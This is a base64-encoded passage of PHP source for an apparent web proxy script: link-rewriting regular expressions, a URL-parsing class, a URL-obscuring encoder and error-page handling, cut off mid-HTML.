PSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZG